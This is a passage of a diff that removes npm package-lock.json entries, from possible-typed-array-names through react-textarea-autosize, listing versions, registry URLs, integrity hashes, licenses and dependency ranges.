"base64-js": "^1.5.1", - "xmlbuilder": "^15.1.1" - }, - "engines": { - "node": ">=10.4.0" - } - }, - "node_modules/possible-typed-array-names": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz", - "integrity": "sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/postcss": { - "version": "8.5.15", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.15.tgz", - "integrity": "sha512-FfR8sjd4em2T6fb3I2MwAJU7HWVMr9zba+enmQeeWFfCbm+UOC/0X4DS8XtpUTMwWMGbjKYP7xjfNekzyGmB3A==", - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/postcss" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "nanoid": "^3.3.12", - "picocolors": "^1.1.1", - "source-map-js": "^1.2.1" - }, - "engines": { - "node": "^10 || ^12 || >=14" - } - }, - "node_modules/postcss-prefix-selector": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/postcss-prefix-selector/-/postcss-prefix-selector-2.1.1.tgz", - "integrity": "sha512-ZBgf427Et6+XnrnJ9VXtJEKCjJwTvn2wn/qMg+wvvlRhIeFIAxdbrlZZ0CSsWYMJfcyPLBh8ogj5O1kb/Mcx3g==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "postcss": "^8.0.0" - } - }, - "node_modules/postcss-selector-parser": { - "version": "6.0.10", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz", - "integrity": "sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==", - "dev": true, - "license": "MIT", - "dependencies": { - "cssesc": "^3.0.0", - "util-deprecate": "^1.0.2" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/posthog-js": { - "version": "1.372.6", - "resolved": "https://registry.npmjs.org/posthog-js/-/posthog-js-1.372.6.tgz", - "integrity": "sha512-+Fy9fwWni5WDKQXiUBIzFvdmnZSR6OBxGC/4wj09JvvK5JE4dhI9ZlKO1+b887PowjeAx0sx1Tf+S1eAjDvzqg==", - "license": "SEE LICENSE IN LICENSE", - "dependencies": { - "@opentelemetry/api": "^1.9.0", - "@opentelemetry/api-logs": "^0.208.0", - "@opentelemetry/exporter-logs-otlp-http": "^0.208.0", - "@opentelemetry/resources": "^2.2.0", - "@opentelemetry/sdk-logs": "^0.208.0", - "@posthog/core": "1.28.0", - "@posthog/types": "1.372.6", - "core-js": "^3.38.1", - "dompurify": "^3.3.2", - "fflate": "^0.4.8", - "preact": "^10.28.2", - "query-selector-shadow-dom": "^1.0.1", - "web-vitals": "^5.1.0" - } - }, - "node_modules/postject": { - "version": "1.0.0-alpha.6", - "resolved": "https://registry.npmjs.org/postject/-/postject-1.0.0-alpha.6.tgz", - "integrity": "sha512-b9Eb8h2eVqNE8edvKdwqkrY6O7kAwmI8kcnBv1NScolYJbo59XUF0noFq+lxbC1yN20bmC0WBEbDC5H/7ASb0A==", - "dev": true, - "license": "MIT", - "optional": true, - "peer": true, - "dependencies": { - "commander": "^9.4.0" - }, - "bin": { - "postject": "dist/cli.js" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/postject/node_modules/commander": { - "version": "9.5.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz", - "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==", - "dev": true, - "license": "MIT", - "optional": true, - "peer": true, - "engines": { - "node": "^12.20.0 || >=14" - } - }, - "node_modules/preact": { - "version": "10.29.2", - "resolved": "https://registry.npmjs.org/preact/-/preact-10.29.2.tgz", - "integrity": "sha512-7tNmwg/7mzzAoB/8kSg6Hl37JraAZw3Z3A0JSY7VXlZwo82Xn0G7wKbNNs2qoF4ZEEsQGTwDAroNdqKs1ofJxQ==", - "license": "MIT", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/preact" - } - }, - "node_modules/prelude-ls": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", - "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/prettier": { - "version": "3.8.3", - "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.8.3.tgz", - "integrity": "sha512-7igPTM53cGHMW8xWuVTydi2KO233VFiTNyF5hLJqpilHfmn8C8gPf+PS7dUT64YcXFbiMGZxS9pCSxL/Dxm/Jw==", - "dev": true, - "license": "MIT", - "bin": { - "prettier": "bin/prettier.cjs" - }, - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/prettier/prettier?sponsor=1" - } - }, - "node_modules/prettier-linter-helpers": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/prettier-linter-helpers/-/prettier-linter-helpers-1.0.1.tgz", - "integrity": "sha512-SxToR7P8Y2lWmv/kTzVLC1t/GDI2WGjMwNhLLE9qtH8Q13C+aEmuRlzDst4Up4s0Wc8sF2M+J57iB3cMLqftfg==", - "dev": true, - "license": "MIT", - "dependencies": { - "fast-diff": "^1.1.2" - }, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/pretty-format": { - "version": "27.5.1", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz", - "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1", - "ansi-styles": "^5.0.0", - "react-is": "^17.0.1" - }, - "engines": { - "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" - } - }, - "node_modules/pretty-format/node_modules/ansi-styles": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", - "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/pretty-format/node_modules/react-is": { - "version": "17.0.2", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", - "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", - "dev": true, - "license": "MIT" - }, - "node_modules/prism-react-renderer": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/prism-react-renderer/-/prism-react-renderer-2.4.1.tgz", - "integrity": "sha512-ey8Ls/+Di31eqzUxC46h8MksNuGx/n0AAC8uKpwFau4RPDYLuE3EXTp8N8G2vX2N7UC/+IXeNUnlWBGGcAG+Ig==", - "license": "MIT", - "dependencies": { - "@types/prismjs": "^1.26.0", - "clsx": "^2.0.0" - }, - "peerDependencies": { - "react": ">=16.0.0" - } - }, - "node_modules/prismjs": { - "version": "1.30.0", - "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.30.0.tgz", - "integrity": "sha512-DEvV2ZF2r2/63V+tK8hQvrR2ZGn10srHbXviTlcv7Kpzw8jWiNTqbVgjO3IY8RxrrOUF8VPMQQFysYYYv0YZxw==", - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/proc-log": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/proc-log/-/proc-log-6.1.0.tgz", - "integrity": "sha512-iG+GYldRf2BQ0UDUAd6JQ/RwzaQy6mXmsk/IzlYyal4A4SNFw54MeH4/tLkF4I5WoWG9SQwuqWzS99jaFQHBuQ==", - "dev": true, - "license": "ISC", - "engines": { - "node": "^20.17.0 || >=22.9.0" - } - }, - "node_modules/progress": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", - "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/promise-retry": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz", - "integrity": "sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==", - "dev": true, - "license": "MIT", - "dependencies": { - "err-code": "^2.0.2", - "retry": "^0.12.0" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/prop-types": { - "version": "15.8.1", - "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", - "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", - "license": "MIT", - "dependencies": { - "loose-envify": "^1.4.0", - "object-assign": "^4.1.1", - "react-is": "^16.13.1" - } - }, - "node_modules/prop-types/node_modules/react-is": { - "version": "16.13.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", - "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", - "license": "MIT" - }, - "node_modules/proper-lockfile": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/proper-lockfile/-/proper-lockfile-4.1.2.tgz", - "integrity": "sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA==", - "dev": true, - "license": "MIT", - "dependencies": { - "graceful-fs": "^4.2.4", - "retry": "^0.12.0", - "signal-exit": "^3.0.2" - } - }, - "node_modules/proper-lockfile/node_modules/signal-exit": { - "version": "3.0.7", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", - "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", - "dev": true, - "license": "ISC" - }, - "node_modules/property-information": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/property-information/-/property-information-7.2.0.tgz", - "integrity": "sha512-IAtzIB6sUiWaJYrX9smp3V46pBGbBeLFRGdh25kg1334VcBlD8HzhPeNIWQH9zhGmo2itIe25EHt9dQP7G5hmg==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/protobufjs": { - "version": "7.6.5", - "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.6.5.tgz", - "integrity": "sha512-/FPD0nUc9jH6rfFjji9IBqOz4pcSE3CsT1m7Ep6Mdb0LxSUMj8hgl6GomOvZzpNpAqqGaXA0P3VSrZLFzIhQrw==", - "hasInstallScript": true, - "dependencies": { - "@protobufjs/aspromise": "^1.1.2", - "@protobufjs/base64": "^1.1.2", - "@protobufjs/codegen": "^2.0.5", - "@protobufjs/eventemitter": "^1.1.1", - "@protobufjs/fetch": "^1.1.1", - "@protobufjs/float": "^1.0.2", - "@protobufjs/path": "^1.1.2", - "@protobufjs/pool": "^1.1.0", - "@protobufjs/utf8": "^1.1.1", - "@types/node": ">=13.7.0", - "long": "^5.3.2" - }, - "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/proxy-addr": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", - "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", - "license": "MIT", - "dependencies": { - "forwarded": "0.2.0", - "ipaddr.js": "1.9.1" - }, - "engines": { - "node": ">= 0.10" - } - }, - "node_modules/proxy-from-env": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz", - "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==", - "license": "MIT", - "engines": { - "node": ">=10" - } - }, - "node_modules/pump": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.4.tgz", - "integrity": "sha512-VS7sjc6KR7e1ukRFhQSY5LM2uBWAUPiOPa/A3mkKmiMwSmRFUITt0xuj+/lesgnCv+dPIEYlkzrcyXgquIHMcA==", - "dev": true, - "license": "MIT", - "dependencies": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "node_modules/punycode": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", - "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/qs": { - "version": "6.15.2", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.2.tgz", - "integrity": "sha512-Rzq0KEyX/w/tEybncDgdkZrJgVUsUMk3xjh3t5bv3S1HTAtg+uOYt72+ZfwiQwKdysThkTBdL/rTi6HDmX9Ddw==", - "license": "BSD-3-Clause", - "dependencies": { - "side-channel": "^1.1.0" - }, - "engines": { - "node": ">=0.6" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/query-selector-shadow-dom": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/query-selector-shadow-dom/-/query-selector-shadow-dom-1.0.1.tgz", - "integrity": "sha512-lT5yCqEBgfoMYpf3F2xQRK7zEr1rhIIZuceDK6+xRkJQ4NMbHTwXqk4NkwDwQMNqXgG9r9fyHnzwNVs6zV5KRw==", - "license": "MIT" - }, - "node_modules/queue-microtask": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", - "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/quick-lru": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", - "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/range-parser": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", - "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/raw-body": { - "version": "2.5.3", - "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.3.tgz", - "integrity": "sha512-s4VSOf6yN0rvbRZGxs8Om5CWj6seneMwK3oDb4lWDH0UPhWcxwOWw5+qk24bxq87szX1ydrwylIOp2uG1ojUpA==", - "license": "MIT", - "dependencies": { - "bytes": "~3.1.2", - "http-errors": "~2.0.1", - "iconv-lite": "~0.4.24", - "unpipe": "~1.0.0" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/react": { - "version": "19.2.5", - "resolved": "https://registry.npmjs.org/react/-/react-19.2.5.tgz", - "integrity": "sha512-llUJLzz1zTUBrskt2pwZgLq59AemifIftw4aB7JxOqf1HY2FDaGDxgwpAPVzHU1kdWabH7FauP4i1oEeer2WCA==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/react-aria": { - "version": "3.49.0", - "resolved": "https://registry.npmjs.org/react-aria/-/react-aria-3.49.0.tgz", - "integrity": "sha512-4+oK9FwJQWYhyA5zLfj/feOGY0zZbkE1muoF4gyxMroHVypjcYaRSTlJwvxph2zIlxt757KX6xIK2wJ5Aw1Kog==", - "license": "Apache-2.0", - "dependencies": { - "@internationalized/date": "^3.12.2", - "@internationalized/number": "^3.6.7", - "@internationalized/string": "^3.2.9", - "@react-types/shared": "^3.35.0", - "@swc/helpers": "^0.5.0", - "aria-hidden": "^1.2.3", - "clsx": "^2.0.0", - "react-stately": "3.47.0", - "use-sync-external-store": "^1.6.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/react-aria-components": { - "version": "1.18.0", - "resolved": "https://registry.npmjs.org/react-aria-components/-/react-aria-components-1.18.0.tgz", - "integrity": "sha512-FhRQjuDkH4WhgFv+O2sYTzK3JzdZTGpBeaqfRlfTo+DcSZzD8elJEkytHe7SDpcexVKeire8NVd7OruZHfCVoA==", - "license": "Apache-2.0", - "dependencies": { - "@internationalized/date": "^3.12.2", - "@react-types/shared": "^3.35.0", - "@swc/helpers": "^0.5.0", - "client-only": "^0.0.1", - "react-aria": "3.49.0", - "react-stately": "3.47.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/react-aria-components/node_modules/@internationalized/date": { - "version": "3.12.2", - "resolved": "https://registry.npmjs.org/@internationalized/date/-/date-3.12.2.tgz", - "integrity": "sha512-FY1Y+H64NDs+HAF6omlnWxm3mEpfgaCSWtL5l551ZZfImA+kGjPFgrnJrGjH6lfmLL0g8Z/mBu1R3kufeCp6Jw==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0" - } - }, - "node_modules/react-aria-components/node_modules/@react-types/shared": { - "version": "3.35.0", - "resolved": "https://registry.npmjs.org/@react-types/shared/-/shared-3.35.0.tgz", - "integrity": "sha512-iNWvuzEwANttpQpdlu8nPBtdHb0mcCMj1ZTH//iRB5E/14IAnyRlR25rxH7pNLyzHINsPGEKnWvpwDMCT6vziQ==", - "license": "Apache-2.0", - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/react-aria/node_modules/@internationalized/date": { - "version": "3.12.2", - "resolved": "https://registry.npmjs.org/@internationalized/date/-/date-3.12.2.tgz", - "integrity": "sha512-FY1Y+H64NDs+HAF6omlnWxm3mEpfgaCSWtL5l551ZZfImA+kGjPFgrnJrGjH6lfmLL0g8Z/mBu1R3kufeCp6Jw==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0" - } - }, - "node_modules/react-aria/node_modules/@react-types/shared": { - "version": "3.35.0", - "resolved": "https://registry.npmjs.org/@react-types/shared/-/shared-3.35.0.tgz", - "integrity": "sha512-iNWvuzEwANttpQpdlu8nPBtdHb0mcCMj1ZTH//iRB5E/14IAnyRlR25rxH7pNLyzHINsPGEKnWvpwDMCT6vziQ==", - "license": "Apache-2.0", - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/react-base16-styling": { - "version": "0.10.0", - "resolved": "https://registry.npmjs.org/react-base16-styling/-/react-base16-styling-0.10.0.tgz", - "integrity": "sha512-H1k2eFB6M45OaiRru3PBXkuCcn2qNmx+gzLb4a9IPMR7tMH8oBRXU5jGbPDYG1Hz+82d88ED0vjR8BmqU3pQdg==", - "license": "MIT", - "dependencies": { - "@types/lodash": "^4.17.0", - "color": "^4.2.3", - "csstype": "^3.1.3", - "lodash-es": "^4.17.21" - } - }, - "node_modules/react-dom": { - "version": "19.2.5", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.5.tgz", - "integrity": "sha512-J5bAZz+DXMMwW/wV3xzKke59Af6CHY7G4uYLN1OvBcKEsWOs4pQExj86BBKamxl/Ik5bx9whOrvBlSDfWzgSag==", - "license": "MIT", - "dependencies": { - "scheduler": "^0.27.0" - }, - "peerDependencies": { - "react": "^19.2.5" - } - }, - "node_modules/react-hot-toast": { - "version": "2.6.0", - "resolved": "https://registry.npmjs.org/react-hot-toast/-/react-hot-toast-2.6.0.tgz", - "integrity": "sha512-bH+2EBMZ4sdyou/DPrfgIouFpcRLCJ+HoCA32UoAYHn6T3Ur5yfcDCeSr5mwldl6pFOsiocmrXMuoCJ1vV8bWg==", - "license": "MIT", - "dependencies": { - "csstype": "^3.1.3", - "goober": "^2.1.16" - }, - "engines": { - "node": ">=10" - }, - "peerDependencies": { - "react": ">=16", - "react-dom": ">=16" - } - }, - "node_modules/react-i18next": { - "version": "17.0.6", - "resolved": "https://registry.npmjs.org/react-i18next/-/react-i18next-17.0.6.tgz", - "integrity": "sha512-WzJ6SMKF+GTD7JZZqxSR1AKKmXjaSu39sClUrNlwxS4Tl7a99O+ltFy6yhPMO+wgZuxpQjJ2PZkfrQKmAqrLhw==", - "license": "MIT", - "dependencies": { - "@babel/runtime": "^7.29.2", - "html-parse-stringify": "^3.0.1", - "use-sync-external-store": "^1.6.0" - }, - "peerDependencies": { - "i18next": ">= 26.0.1", - "react": ">= 16.8.0", - "typescript": "^5 || ^6" - }, - "peerDependenciesMeta": { - "react-dom": { - "optional": true - }, - "react-native": { - "optional": true - }, - "typescript": { - "optional": true - } - } - }, - "node_modules/react-icons": { - "version": "5.6.0", - "resolved": "https://registry.npmjs.org/react-icons/-/react-icons-5.6.0.tgz", - "integrity": "sha512-RH93p5ki6LfOiIt0UtDyNg/cee+HLVR6cHHtW3wALfo+eOHTp8RnU2kRkI6E+H19zMIs03DyxUG/GfZMOGvmiA==", - "license": "MIT", - "peerDependencies": { - "react": "*" - } - }, - "node_modules/react-is": { - "version": "18.3.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", - "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", - "license": "MIT" - }, - "node_modules/react-lifecycles-compat": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz", - "integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==", - "license": "MIT" - }, - "node_modules/react-markdown": { - "version": "10.1.0", - "resolved": "https://registry.npmjs.org/react-markdown/-/react-markdown-10.1.0.tgz", - "integrity": "sha512-qKxVopLT/TyA6BX3Ue5NwabOsAzm0Q7kAPwq6L+wWDwisYs7R8vZ0nRXqq6rkueboxpkjvLGU9fWifiX/ZZFxQ==", - "license": "MIT", - "dependencies": { - "@types/hast": "^3.0.0", - "@types/mdast": "^4.0.0", - "devlop": "^1.0.0", - "hast-util-to-jsx-runtime": "^2.0.0", - "html-url-attributes": "^3.0.0", - "mdast-util-to-hast": "^13.0.0", - "remark-parse": "^11.0.0", - "remark-rehype": "^11.0.0", - "unified": "^11.0.0", - "unist-util-visit": "^5.0.0", - "vfile": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - }, - "peerDependencies": { - "@types/react": ">=18", - "react": ">=18" - } - }, - "node_modules/react-refresh": { - "version": "0.14.2", - "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.14.2.tgz", - "integrity": "sha512-jCvmsr+1IUSMUyzOkRcvnVbX3ZYC6g9TDrDbFuFmRDq7PD4yaGbLKNQL6k2jnArV8hjYxh7hVhAZB6s9HDGpZA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/react-router": { - "version": "7.17.0", - "resolved": "https://registry.npmjs.org/react-router/-/react-router-7.17.0.tgz", - "integrity": "sha512-FDELK7rTMlCHO5+reyXsPlmfr7N1F91lPHsWYfMEGQm/KQ+F4JFM8jGoeQDmDvdTs93Fw9aSilH+uKRb4/jXvQ==", - "license": "MIT", - "dependencies": { - "cookie": "^1.0.1", - "set-cookie-parser": "^2.6.0" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "react": ">=18", - "react-dom": ">=18" - }, - "peerDependenciesMeta": { - "react-dom": { - "optional": true - } - } - }, - "node_modules/react-router/node_modules/cookie": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", - "integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/react-router/node_modules/set-cookie-parser": { - "version": "2.7.2", - "resolved": "https://registry.npmjs.org/set-cookie-parser/-/set-cookie-parser-2.7.2.tgz", - "integrity": "sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw==", - "license": "MIT" - }, - "node_modules/react-stately": { - "version": "3.47.0", - "resolved": "https://registry.npmjs.org/react-stately/-/react-stately-3.47.0.tgz", - "integrity": "sha512-H3ar+SOWP920EbVg7qWfP3fZjZiwhlEJAEJQqjt+w8oKijCwFgr0+R4941PIHscOXRNRvEOjvWilitImC0DdBg==", - "license": "Apache-2.0", - "dependencies": { - "@internationalized/date": "^3.12.2", - "@internationalized/number": "^3.6.7", - "@internationalized/string": "^3.2.9", - "@react-types/shared": "^3.35.0", - "@swc/helpers": "^0.5.0", - "use-sync-external-store": "^1.6.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/react-stately/node_modules/@internationalized/date": { - "version": "3.12.2", - "resolved": "https://registry.npmjs.org/@internationalized/date/-/date-3.12.2.tgz", - "integrity": "sha512-FY1Y+H64NDs+HAF6omlnWxm3mEpfgaCSWtL5l551ZZfImA+kGjPFgrnJrGjH6lfmLL0g8Z/mBu1R3kufeCp6Jw==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0" - } - }, - "node_modules/react-stately/node_modules/@react-types/shared": { - "version": "3.35.0", - "resolved": "https://registry.npmjs.org/@react-types/shared/-/shared-3.35.0.tgz", - "integrity": "sha512-iNWvuzEwANttpQpdlu8nPBtdHb0mcCMj1ZTH//iRB5E/14IAnyRlR25rxH7pNLyzHINsPGEKnWvpwDMCT6vziQ==", - "license": "Apache-2.0", - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/react-syntax-highlighter": { - "version": "16.1.1", - "resolved": "https://registry.npmjs.org/react-syntax-highlighter/-/react-syntax-highlighter-16.1.1.tgz", - "integrity": "sha512-PjVawBGy80C6YbC5DDZJeUjBmC7skaoEUdvfFQediQHgCL7aKyVHe57SaJGfQsloGDac+gCpTfRdtxzWWKmCXA==", - "license": "MIT", - "dependencies": { - "@babel/runtime": "^7.28.4", - "highlight.js": "^10.4.1", - "highlightjs-vue": "^1.0.0", - "lowlight": "^1.17.0", - "prismjs": "^1.30.0", - "refractor": "^5.0.0" - }, - "engines": { - "node": ">= 16.20.2" - }, - "peerDependencies": { - "react": ">= 0.14.0" - } - }, - "node_modules/react-textarea-autosize": { - "version": "8.5.9", - "resolved": "https://registry.npmjs.org/react-textarea-autosize/-/react-textarea-autosize-8.5.9.tgz", - "integrity": "sha512-U1DGlIQN5AwgjTyOEnI1oCcMuEr1pv1qOtklB2l4nyMGbHzWrI0eFsYK0zos2YWqAolJyG0IWJaqWmWj5ETh0A==", - "license": "MIT", - "dependencies": { - "@babel/runtime": "^7.20.13", - "use-composed-ref": "^1.3.0", - "use-latest": "^1.2.1" - }, - "engines": { - "node": ">=10" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || 